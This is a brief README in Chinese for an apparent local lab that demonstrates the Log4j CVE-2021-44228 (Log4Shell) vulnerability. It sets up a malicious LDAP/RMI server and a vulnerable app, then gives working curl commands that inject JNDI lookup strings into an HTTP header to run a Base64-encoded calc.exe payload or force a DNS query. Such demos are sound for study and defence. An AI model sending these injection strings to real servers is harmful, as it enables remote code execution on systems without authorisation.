
Log4j CVE-2021-44228 示例:远程代码执行(通过 LDAP、RMI 等)、强制 DNS 查询等。
使用存在漏洞的 JDK,例如 JDK 1.8.0_181
恶意服务器部署以下端点:
./gradlew :malicious-server:bootRun
存在漏洞的应用程序在 8082 端口部署一个 HTTP 端点
./gradlew :vulnerable-app:bootRun
选择一个将由存在漏洞的应用程序执行的有效载荷,并将其编码为 Base64。例如,要在 Windows 中打开
计算器:calc.exe
curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/
curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/
curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/